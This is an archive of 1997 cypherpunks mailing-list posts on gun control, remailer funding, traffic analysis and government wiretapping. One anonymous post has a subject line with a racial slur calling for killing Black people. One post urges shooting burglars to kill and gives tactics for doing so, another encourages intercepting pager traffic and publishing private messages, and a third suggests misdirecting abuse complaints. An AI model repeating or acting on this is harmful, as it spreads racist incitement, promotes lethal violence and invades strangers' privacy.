Content-Type: text/plain



[Guns aren't really a cypherpunks topic, though the below-mentioned
clueless power-hungry terrorists do use the Internet and crypto
to help maintain their position relative to their victims and to
other competing clueless power-hungry terrorists.]

>Uncontrolled guns do not solve problems, they create them.  

I used to take the traditional U.S. Liberal-Statist view that Guns Are Bad,
and Guns Need Controlling.  But the way Americans and Europeans control guns
is to hire a bunch of armed thugs and use them to terrorize the population
into giving these people their guns and not buying more.  And, well,
I decided it was pretty hypocritical to hire armed thugs to take away
peoples' guns at gunpoint.  I had to give up that position.
(A Conservative-Statist wouldn't have any contradiction - the rabble
can't be trusted with guns, so we'll take them away at gunpoint,
and we'll be safer.  Trust us.  Or we'll shoot you too.  No problem :-)

Now, if the Amish want to do gun control, it's a different story.
If people want to keep around guns for killing people, 
keep talking to them about it until they reform, and if that doesn't work,
_stop_ talking to them until they reform.  No hypocrisy, no problem.

>IMNSHO the best way to fight crime is not with bigger guns than the "bad
>guys", but with better social programs such as universal health care, 

Those things are fine, but one of the big reasons people shoot each other
in this country is fighting over the money involved in the Black Market
for drugs.  After all, in a War On <whatever>, you can't expect one side
to do all the shooting.  All this crime and violence over drugs with a
free-market value of <$3/day for coke and <$1/day for heroin.  
You'd think the people in power are either ravingly clueless or they 
like Power for its own sake.  And you certainly shouldn't trust either
the clueless or the power-greedy to do the right thing with guns...

>improved day care so single parents can show their kids what a productive
>lifestyle looks like.  
....
>Cynthia, unrepentant bleeding-heart liberal
The traditional solution to day care was people taking care of each 
other's kids, either within the family or their neighbors, at home.  
Do-gooder liberals have made this more difficult by making laws mandating
quality control over day care, government certification for day care workers,
and safety certifications that the average home has trouble getting.
So the single parent can't show their kids a productive lifestyle by
taking care of the neighbors' kids for money, which would also free up
the neighbors to work.  And it's not just single parents who do this,
it's married women whose husbands aren't making enough to support them
in an Ozzie&Harriet lifestyle.

I do agree with you that blowing away the neighbor's teenager who's
trying to steal you TV isn't a good thing.  If it's just the kid,
he'll be gone before your police get there, and if it's someone dangerous
you may not have a chance to call them.  I keep a fire-extinguisher
by the bed, not only for fires, but for shooting first, asking questions
later, and clubbing them with as a fallback.  :-)  On the other hand,
back when I lived in Jersey, one of those grannies y'all were worried about
was on the front page of her local paper holding her pistol --
"Police?  Are you kidding?  They don't come to _my_ neighborhood, 
it's too dangerous!"
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 2 Oct 1997 12:29:09 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Forwarded mail...
Message-ID: <199710020409.AAA19702@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/1/97 9:03 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>Why is the situation more stable if both parties are armed? If I 
>were confronted by a armed burglar and we were facing off I would 
>pull the trigger as soon as I got a lock. If their gun wasn't in a 
>ready position Iwould warn them and if they so much as flinched I'd 
>drop them. If they wereunarmed I might beat them senseless with the 
>gun but I would not shoot themunless they made a motion to rush me, 
>then I would go for a non-lethal shotunless the distance was less 
>than a dozen feet (rushing distance) or so 
>in

 ... nothing personal, but why is it people keep deluding themselves
with the idea that they can shoot to wound. You cannot know what a
shot will do ... if you shoot someone the odds are pretty high that
you will kill him or seriously injure. You cannot count on
'non-lethally' wounding anyone. Leg shots have a very high incidence
of hitting bone and deflecting up into the torso and really raising
havoc. A shot to the thigh could easily hit the femoral artery and a
total bleedout .... if you are going to shoot assume your are going to
kill, if the guys lives, then you get to sleep a little easier that
night and later. 

   I hear so much talk about killing like its something really easy to
do ... it isn't ... unfortunately it gets easier each time, and the
sleeping gets tougher ... the only consolation to the bad dreams is
that it means you haven't lost your humanity, yet!

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Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "...Those of you who turned your swords into plowshares will soon
  find yourselves under the yokes of those of us who kept our swords..." 
      -- author unknown






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 13:27:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710020532.AAA24556@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Remailers and ecash (fwd)
> Date: Wed, 1 Oct 97 23:56:19 -0400
> From: "Brian B. Riley" <brianbr@together.net>

> >And why does this by any security when it's the header info and 
> >contents that Mallet looks at, not the frequency. The only thing 
> >such approaches do is impliment security by obscurity, and that 
> >ain't security. 
> 
>  What header info?, its all messages to the remailer with nondescript
> info .. from that point the latency and mix takes over. The meaningful
> message looks no different from the 'cover' traffic.

Mallet will be following the cover traffic, since it is cover there will be
no correllation uncovered between input and output traffic because the
output traffic header info will either be a small class of destinations used
over and over or else it will be chosen randomly using something like a
spider on webpages or a usenet newsgroup crawler. Just send the bogus
packets to random addresses, talk about spam with a bite...

<hint: the LEA's would then instigate an investigation of the randomly
       selected target, depleting their resources, this might buy you
       2-3 days if you got two halves of a clue to rub together>

<speculation: anything short of several thousand entries in the bogus
              destinations will be trivial to track>

<obvious: once a bogus address is used and known by the LEA's it will be
          worthless to send any further packets there>

<obvious: all this traffic analysis will be done by computers with very
          nice databases so it might take one or two agents to review
          the full traffic set for just about any time frame under review>

<speculation: given a determined and well equiped Mallet it should take
              no more than a week to 10 days to resolve the analysis if
              the destination party is a small set, say <= dozen, using
              todays remailers and traffic levels. Previously it was
              mentioned that one remailer handled about 4300 pieces a
              day, something Oracle or Sybase wouldn't have a problem
              with>

<speculation: currently remailers are not seriously bothered by the BIG
              Big Brother's because it is not worth validating the paranoids
              out there that they are being watched>

For the sender to chain from remailer to remailer to destination the
destination has to be in the header info somewhere. Now in the most secure
system each packet header will only contain the address of the next hop. When
the next site gets it the packet contents are de-crypted (otherwise reading
the chaining info is trivial) and the contents are uncovered to reveal another
packet with the next hop header and another encrypted block. And on and on
we go.

<Question: Are there any remailer sets that impliment the encrypted nested
           packet system?>

<speculation: an encrypted chain could be made stronger if the next
              hop header depended on which key was used to decode it.
              In other words, remailer A's key will produce one next hop
              address while remailer B's key will send it elsewhere. This
              is a subset of the different plaintext - same cyphertext
              problem - a hard problem as I understand it. Find two
              distinct texts that encrypt with different keys to the
              same cyphertext>

Now if I were tasked with traffic analysis of this sort I would look at each
incoming header and each outgoing header. I would look for some sort of
correlation (ie some percentage of the time when I see this source address I
see this destination address within some period) over time between the steps
in the chain. Realisticaly it would take at least a dozen or so
transmissions using the same remailer chain before a clear pattern would
emerge. In general there are two types of classes in traffic analysis. The
first is monitoring of a specific entity involved in the transfer, usualy
source or destination. The second is passive traffic monitoring where I
simply go from remailer to remailer and find statistical correlation between
the various packets in the hope that somewhere somewhen I would come across
something of use.

<observation: without latency being added simply shuffling the messages will
              not significantly hamper the analysis. To be most effective
              the latencies should be randomly chosen. This implies that for
              best security the content of the traffic should not be greatly
              time sensitive. It furher implies that such traffic should be
              over a significant range, at least an order of magnitude say>

<suggestion: I learned of the basics of traffic analysis from following
             the study of dinosaur teeth and trying to determine which
             type they were. Different dinosaurs leave distinctive but
             different types of scratches on their teeth. By applying
             statistics to the measurements it becomes possible to assign
             them to specific types>

The first type is the most commen currently but with the various requests by
the FBI and other LEA's it is becoming clear they want to get into the
second class of traffic analysis in a big way. Guess they are finding it
harder and harder to get the big-wigs like the drug cartels because they use
a higher degree of technology than the LEA's do, they're simply out-classed.
With the second class they could catch a email (for example) from some end
user buying a couple of quarters of pot and then chase that chain in
reverse. Without the passive second class monitoring they would have never
gotten that lead in the first place.

Now consider the LEA's think nothing of monitoring a suspect for years if
required. I know of one case where the DEA spent 2 years tracking a
'kingpin' for 45 tons of herb. They even brought in specialist from the NSA
and military to do covert monitoring for the over-seas participants,
including traffic analysis of their communications.

<observation: Blackhawks have a pretty nifty electronics system, watching
              downtown Bagdad via a sat link while flying along playing
              with Internet email and using your FLIR to not hit the cables
              between the poles>

If they ain't LEA's then a whole new set of options become available. Also
consider, if they aren't LEA's then they are probably doing a class one
traffic analysis which is only a matter of time to resolve.

Considering the current number of anonymous remailers it would not surprise
me if the CIA/NSA/Massad/MI5/etc. are not currently monitoring them all. It
is a given that countries like Iraq, Singapore, China, etc. are currently
doing about all they can to monitor the remailers because they are known to
be used by 'terrorist' organizations.

It seems to me that many people have an inherent (and unrecognized)
assumption that Mallet will have access only to a single remailer and won't
bother actualy tracing the traffic. A bad assumption.

It is also worth remembering, the government as a whole is quite slow but
there are some quite capable individuals.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 2 Oct 1997 18:06:24 +0800
To: cypherpunks@toad.com
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <199710020349.FAA06007@basement.replay.com>
Message-ID: <3.0.3.32.19971002003347.006e2b74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Declan writes:
>>So I'm putting together a special report featuring examples of illegal
>>wiretapping by governments -- to show why we shouldn't trust them with
>>mandatory domestic key escrow. Also illegal electronic surveillance,
>>generally speaking. Especially more recent ones. Maybe non-U.S. examples
>>too.
>>Any suggestions? I'm thinking things like: MLKjr, Mrs. Roosevelt, _Irvine_,
>>_Socialist Workers Party_, Dewey-FBI alliance, mail opening, Emma Goldman,
>>Brownell's blanket microphone surveillance, _Katz_, _Alderman_, CISPES.

The year before the Supreme Court mandated the Exclusionary Rule back
in the 60s (go ask Mike Godwin for specifics :-), the New York City
Police Department didn't bother getting any search warrants.
They just searched, and if they found something, they used it.
The year _after_ the Exclusionary Rule, they got warrants.

Obviously the Feds don't keep statistics of illegal wiretaps,
just legal ones.  And they certainly don't keep stats of cellphone
conversations local police pick up with scanners.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 2 Oct 1997 17:41:49 +0800
To: Adam Back <tcmay@got.net
Subject: Re: throw away accounts? (was Re: Remailer Attack)
In-Reply-To: <v03102801b050a29e2f1f@[207.167.93.63]>
Message-ID: <3.0.3.32.19971002004308.006a256c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> * throwaway accounts, and yet with some robustness or reputation capital
>> backing them
>We've kind of got throw away accounts recently, Ian Goldberg wrote a
>perl script to open accounts and sendmail through a couple of the free
>web based email services.
...
>There might even be a remailer or two using this ... perhaps some
>remailer operators could fill us in.

There are remailer programs for both Hotmail (web-based) and Juno (dialup),
and several people are actually operating remailers from Juno.
The remailers accept mail un the usual fashion, including PGP support,
and take care of working around the advertising that comes with the free mail.
Both services have anti-spamming terms of service, which probably block
running
general-purpose remailers from them because they send unsolicited mail
to non-previously-consenting users.  But there's no problem with the TOS
in running remailers that only send mail to subscribed users,
and it may or may not be acceptable to run the kind of remailer that sends
"Subject: You have anonymous mail - message#12432; reply to pick it up"
and doesn't bother the user further unless they ask for the mail.
I also don't know about posting to Usenet from them.

So what can you do with a limited-target-area remailer?
- Entry remailer, with well-known name, that only forwards 
	its mail to other remailers.  Recopients don't complain,
	though you can still get flooded with SPAM.
- Middleman remailer, accepting mail only from remailers and sending
	only to other remailers.  Nobody complains.  Easy to maintain.
	Great for forwarding cover traffic through other remailers.
- nymserver target remailers, though obviously if you're the only
	recipient of mail, it's a bit visible, though you could
	set them up to chain to another remailer
- forwarders to message pools
- subscription-only remailers.
- maybe spam filters?
- 
- your suggestion here
- 
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 13:37:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710020549.AAA24606@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 2 Oct 1997 06:35:55 +0200 (MET DST)
> Subject: Re: Remailers and ecash (fwd)
> From: nobody@REPLAY.COM (Anonymous)

> The question is will people pay money for this.  Nobody gives a damn if you
> think it's useful or not.

Shure they do because one of the things I would love to do is run a
commercial anon remailer. If I as a businessman motivated to get into it can't
justify it how in the world can somebody with less technical experience
justify it? How would you justify it to your bank for a $10k loan? I suspect
that if I can find a way to overcome my anal retentive penny pinching then
it will sell others as well.

> The customer is always right, and all that.

You obviously have never done business with me. I've turned more than
one customer away because they were either stupid or wanted something that
was completely out of line. I provide my customers a specific set of
services at specific fees with specific results, period. If they don't like
the way their baby looks that is their problem, I just deliver 'em. I do
this out of love, not a need to feed.

<trivia: Bill G. once said that the computer industry was the only industry
         that ate its children>

> Obviously, some people had a reason to take the time to write those thousands
> of posts, the question is will they pay the remailers to post them.

Depends on their motivation...a question we all seem to be grappling with.
If it's possible I am shure that one of the thousands of posts that we
generate on this issue will be the trigger.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 14:33:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Forwarded mail... (fwd)
Message-ID: <199710020635.BAA24724@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Forwarded mail...
> Date: Thu, 2 Oct 97 00:09:24 -0400
> From: "Brian B. Riley" <brianbr@together.net>

>  ... nothing personal, but why is it people keep deluding themselves
> with the idea that they can shoot to wound. You cannot know what a
> shot will do 

Remember: A gun is like a finger, just point it at what you want to
          hit.

I have met hundreds of great shots in my life, there are many people for
whom this sort of behaviour would not be delusional. My grandfather (who
you'll hear more about in a minute) used to delight us as small kids by
lighting matches stuck in wood fence posts with a .22 pistol from about
50 yds. My cousin from Louisiana likes to shoot squirrels (if you can call
it that) by passing the bullet just in front of their nose, causes lung
hemorraghes and they just fall off the limb. Me, I always miss or blow their
teeny little head off, it's apparently a game of 1/4 inches. I work with an
ex-gomer (ie USMC) pilot who is quite phenomenal with his .357 Desert Eagle,
his groupings are just about an inch at 25 yds.

I have 20/10 eyesight (in one eye now, the L. is blind) and I've been
shooting guns since I was 6 years old. By the time I was 12 I was killing
Nutria in Louisiana's swamps every summer for bounty with a single shot of
.22 from 100+ yds. I once got a nice heart shot on a deer at 400 yds. over
iron sites with a .308. I hit what I aim at with a pistol or rifle assuming
I have fired it a few times (which if I own the gun is a given). The first
thing I do is range a weapon when I buy it. It's also why I practice shooting
in groups of 3. Better chance of hitting, and hitting something important.
Being shot at doesn't bother me, been there done that several times now, so
I don't think that will be much of a factor.

I agree a snap shot is inaccurate but if I have time to get the gun and get
to my bedroom door nobody is going to get a chance for a snap shot. Hell, if
I had a reasonable idea where they were I'd shoot their wormy ass through
the wall. I seriously doubt anyone can get to my bedroom without me being
warned (my burglar alarm isn't electronic).

<hint: if your walls are white and you're faced with a burglar cover
       yourself with a white sheet (assuming the lights are off and only
       ambient is available) and stay below waist level moving no more than
       about 1 ft. at a time and shooting upward. Keep both elbows tucked
       in and hold the gun in a 2-hand grip, use you ears not your eyes>

>... if you shoot someone the odds are pretty high that
> you will kill him or seriously injure.

If you break into my house at 1AM this is a given. I'll either shoot you or
beat you to death with a skillet. If you don't want to die don't break into
my house. It's the Golden Rule. There is absolute NOTHING that justifies
breaking into my house at any time let alone in the middle of the night. It's
called 'cause and effect' unfortunately most folks now a-days just don't seem
to have caught the clue.

There is a saying that my grandfather tought me (he was a medic in WWI
because he was a contientous (sp?) objecter):

If you pull a gun on somebody shoot, and shoot to kill. If you can't bring
yourself to kill then don't use a gun.

> You cannot count on
> 'non-lethally' wounding anyone.

Who the hell wants to non-lethaly wound a burglar, I'm betting on them
flinching when I start yelling at them...

> Leg shots have a very high incidence
> of hitting bone and deflecting up into the torso and really raising
> havoc. A shot to the thigh could easily hit the femoral artery and a
> total bleedout

Absolutely great reasons to shoot the asshole there.

Look, when a person breaks into your house, robs you, rapes you, or whatever
they are basicly saying "I am going it on my own, I apply no rules or
recognition of civilization. Your life means nothing to me because I am 
willing to trade it for a few measly bucks". It is silly to try to deal with
such people reasonably, if they were reasonable they wouldn't be there in the
first place (they'd be home protecting their own possessions). They are
a clear and present danger with long-term intent. Save your life and their
next victim or your tax dollars to put them in jail and train them to be
better criminals, do everyone a favor kill them now.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gold Dot <golddot@nym.alias.net>
Date: Thu, 2 Oct 1997 10:44:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Encrypting Pagers is Easy!   [Overview, technical tradeoffs, crypto]
Message-ID: <19971002023208.29615.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Y'all:

Since I design pagers for a living, I thought I might comment
on encryption in pagers.

I've been thinking about encryption in pagers for several years
now.  RC4 was suggested, and it is probably a good choice for the 
low end microcontrollers used in pagers.

The problem with encryption in pagers is not algorithms, hardware, 
software or even technology.  The problem is getting awareness 
that there is a problem transmitting pages in the clear.  Most 
people have no clue and I've seen not one request from a customer 
(meaning large paging companies) for encrypted pagers.  A few 
more well-publisized hacks will help, though.  Code space is at
a premium in a pager, so widespread awareness of the inherent
insecurity of paging protocols will be necessary to get encryption
into the products.

So, here's a project for any hacker with time on their hands.
Input the audio signal from a garden variety scanner into your
sound card (just about any variety will do) and decode the 
signal.  It's just 4 level FM.  I'd do it myself, but I value
my job. :-)

Or, if you're lazy and have money, buy yourself a SignalPro and
decode two channels simulaneously.

Then, scan paging systems in strategic locations and post the
juicy tidbits to the 'net.

TTFN,

Gold Dot
golddot@nym.alias.net
"Gold is money, and nothing else is." -- some dead guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 2 Oct 1997 15:45:09 +0800
To: cypherpunks@toad.com
Subject: Re: Remailers and ecash
In-Reply-To: <199710020500.HAA13819@basement.replay.com>
Message-ID: <3.0.3.32.19971002024633.032b0028@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:00 AM 10/2/97 +0200, Anonymous wrote:
>Hence we need a new economic model to finance remailers.
>Several have been proposed:
>
> - Advertiser supported

I've thought about putting ads in the headers of remailer messages.  No one
I've approached, even for free advertising, has thought this was something
they wanted to be connected with.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Racist Remailer <rr@dev.null>
Date: Thu, 2 Oct 1997 18:35:02 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Kill All The NIGGERS  (Vote for Bob Dole))
In-Reply-To: <3.0.3.32.19971002024633.032b0028@mail.atl.bellsouth.net>
Message-ID: <34337389.21D9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



GREENPEACE NEEDS YOUR SUPPORT TO STOP WHALING! 

Robert A. Costner wrote: 
> I've thought about putting ads in the headers of remailer messages.  No one
> I've approached, even for free advertising, has thought this was something
> they wanted to be connected with.

        BOTHERED BY PESKY CRITTERS INTERFERING WITH YOUR FISHING?
                              CALL SMITH & WESSON

Robert,
  Perhaps the idea will become more realistic once Web tools are fine-
tuned to the extent that we can selectively target everyone on the
face of the earth. (In about 6 months, time...)

  Just think of the potential for a politician to be able to send out
advertising via anonymous remailers which matched the predelictions
of each and every recipient.
  Bob Dole needs your support to SAVE THE CHILDREN!
  Bob Dole needs your support to NUKE THE CHILDREN!
  Bob Dole needs your support to KISS THE CHILDREN!
  Bob Dole needs your support to KISS THE CHILDREN IN BAD PLACES!
  Bob Dole needs your support to LEGALIZE FARTING IN PUBLIC!
  Bob Dole needs your support to CRIMINALIZE FARTING IN PUBLIC!

  The advantage that anonymous remailer advertising has is that it
gives the impression that the unknown masses are of like mind, and
it allows plausible deniability. 

  Also, advertising could be sent to the originator of anonymous
remail, depending on the content of their messages.
  Money launderers could receive ads for Gucci products.
  Perverts could receive ads for Victoria's Secrets.  
  Spammers could receive ads for Dr. Kevorkian.
  Whistleblowers could receive ads for Funeral Parlors.
  Toto could receive ads for Mental Health Facilities.

A. Nonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Born Loser Remailer <blr@dev.null>
Date: Thu, 2 Oct 1997 19:00:53 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: throw away accounts? (was Re: Remailer Attack)
In-Reply-To: <v03102801b050a29e2f1f@[207.167.93.63]>
Message-ID: <3433774B.181D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> So what can you do with a limited-target-area remailer?
> - Entry remailer, with well-known name, that only forwards
>         its mail to other remailers.  Recopients don't complain,
>         though you can still get flooded with SPAM.
> - Middleman remailer, accepting mail only from remailers and sending
>         only to other remailers.  Nobody complains.  Easy to maintain.
>         Great for forwarding cover traffic through other remailers.
> - nymserver target remailers, though obviously if you're the only
>         recipient of mail, it's a bit visible, though you could
>         set them up to chain to another remailer
> - forwarders to message pools
> - subscription-only remailers.
> - maybe spam filters?
> -
> - your suggestion here

 - use a cheap throw-away account on a different ISP to direct abuse
  compaints to, and never use the account to 'send' email.
  (most people can't read headers, and just attack whoever you point
   them toward. an ISP would be hard-pressed to justify cancelling
   an account which never sent out email, for 'abuse'.)

B. Loser, Remailer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Right Guy <trg@dev.null>
Date: Thu, 2 Oct 1997 19:10:17 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [GUNS] Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <3433787A.6DB5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> [Guns aren't really a cypherpunks topic, though the below-mentioned
> clueless power-hungry terrorists do use the Internet and crypto
> to help maintain their position relative to their victims and to
> other competing clueless power-hungry terrorists.]

  Munitions is munitions.

The Right Guy has Left the building...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 12:19:09 +0800
To: cypherpunks@toad.com
Subject: Re: Request for illegal electronic surveillance examples and cases
Message-ID: <199710020349.FAA06007@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:
>So I'm putting together a special report featuring examples of illegal
>wiretapping by governments -- to show why we shouldn't trust them with
>mandatory domestic key escrow. Also illegal electronic surveillance,
>generally speaking. Especially more recent ones. Maybe non-U.S. examples
>too.
>
>Any suggestions? I'm thinking things like: MLKjr, Mrs. Roosevelt, _Irvine_,
>_Socialist Workers Party_, Dewey-FBI alliance, mail opening, Emma Goldman,
>Brownell's blanket microphone surveillance, _Katz_, _Alderman_, CISPES.

I'd figure pretty much anything from Bamford's _The Puzzle Palace_ would
work, but the stuff on Operation Shamrock (interception of cable traffic)
might be of particular interest. Also the parts about "intelligence sharing"
with the Brits and Australians -- just because the NSA can't tap it doesn't
mean they can't get it from our "friends." No doubt the Men From Fort Meade
have been as helpful in the other direction as well.

A particularly nice detail about Shamrock is that the FBI was using the NSA
to conduct warrantless electronic surveillance of "un-American" groups by
using ELINT, which was -- of course -- "born classified."

I'd cite details, but my Bamford seems to be MIA. Maybe the MIB came for
it. . .

Ratbert







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 12:59:27 +0800
To: cypherpunks@ssz.com
Subject: Re: Remailers and ecash (fwd)
In-Reply-To: <199710020003.TAA22891@einstein.ssz.com>
Message-ID: <199710020435.GAA10957@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



[snip stuff about message pools, singapore, clams, tv shows, etc]
> The only reason that anonymous remailers are useful here is that the
> originating party doesn't want to deal with the results of being known.
> The flip side to this is that the reputation of anonymous discussions in
> these sorts of areas would have little political impact. A person who won't
> discuss such issues under their own name certainly won't go out and become
> actively involved in some political movement. Now if your claim is that such
> activity might hold some weight with an elected official I would appreciate
> an explanation as well - especialy considering that the anonymity provides
> just enough 'cover' so that the politician can safely ignore any and all
> traffic made through this mechanism, "They aren't one of my constituents."
> If you have some reasoning outside this please share it.

The question is will people pay money for this.  Nobody gives a damn if you
think it's useful or not.  The customer is always right, and all that.
Obviously, some people had a reason to take the time to write those thousands
of posts, the question is will they pay the remailers to post them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 13:27:14 +0800
To: cypherpunks@toad.com
Subject: Remailers and ecash
Message-ID: <199710020500.HAA13819@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Given: We want more (reliable) remailers
       But someone has to pay for them

Conjecture: New remailers can be financed by charging the users a fee per
            message to use the remailers.

   If a remailer charges a fee, the number of users will be reduced to
   those who are willing to pay the fee.

   When the number of users is reduced, the potential for traffic analysis
   is increased, which reduces the value of the remailer.

   If the value of the remailer is reduced, it will not be worth the cost
   to many users, and those users will seek a less expensive, higher
   traffic remailer.

   Thus, the commercial remailer is forced to lower its prices until it is
   unprofitable.

Conclusion: Pay-per-message commecial remailers are not economically viable.


Hence we need a new economic model to finance remailers.
Several have been proposed:

 - Advertiser supported

 - Pay a flat fee per month for remailer access

 - Everyone a remailer.  Remailers only accept messages from other
   remailers.  To use remailers you must run a remailer.

 - Get companies to run remailers on their firewalls to reduce traffic
   analysis by competitors/spies

 - Pay for access to an anonymous message pool

 - Sell a spam filtering service to fund remailers

 - Sell a spamming service to fund remailers

 - Sell cpu cycles in exchange for remailer access

 - Charge people for extra services, such as low-latency

 - Pay for a nym account, nymserver subsidizes remailers

 - Have the money launderers subsidize the remailers

 - Somehow get all those Mac users to pay

 - Offer $50 to the first person to set up a remailer, as Monty Cantsin did

 - Fund social programs for universal remailer access and universal health
   care like Cynthia wants





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 2 Oct 1997 19:51:51 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Request for illegal electronic surveillance examples and cases
Message-ID: <1.5.4.32.19971002112355.0085f4b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan wrote:
>So I'm putting together a special report featuring examples of illegal
>wiretapping by governments -- to show why we shouldn't trust them with
>mandatory domestic key escrow. Also illegal electronic surveillance,
>generally speaking. Especially more recent ones. Maybe non-U.S. examples
>too.

There are a number of US cases in the just published "Secrets:
The CIA's War at Home," by Angus Mackenzie.

What is worth exploring to supplement the perhaps too facile
gov-bash is the burgeoning private industry of illegal electronic 
surveillance, staffed with mostly ex-gov folks (and those not 
deft enough to get a global Cold War sinecure) who are not 
always as scrupulous as the government. These operations are
growing worldwide as governments down-size, up-size and
sneaky-rig their NatSec and LE programs, often most slyly
by privatizing them behind false fronts.

Indeed, the bigger story may be the ways illegal electronic 
snooping is being hidden behind "legal" operations by both
government and industry, often working in concert to
camouflage the bastardly deeds by pointing fingers at
each other to justify higher budgets and higher fees and
more restrictions on free expression. Get Stewart Baker
looped and talkative. Then John Deutch, William Perry,
and on and on.

The media and DC public interest groups are not outside this 
long-running covert loop of mutual back-scratchers. Read "Secrets."

Trace for example where the heads and legal counsels of military, 
spy and law enforcement agencies go in private industry, and 
the affiliations they form in commerce and non-profit orgs, beginning 
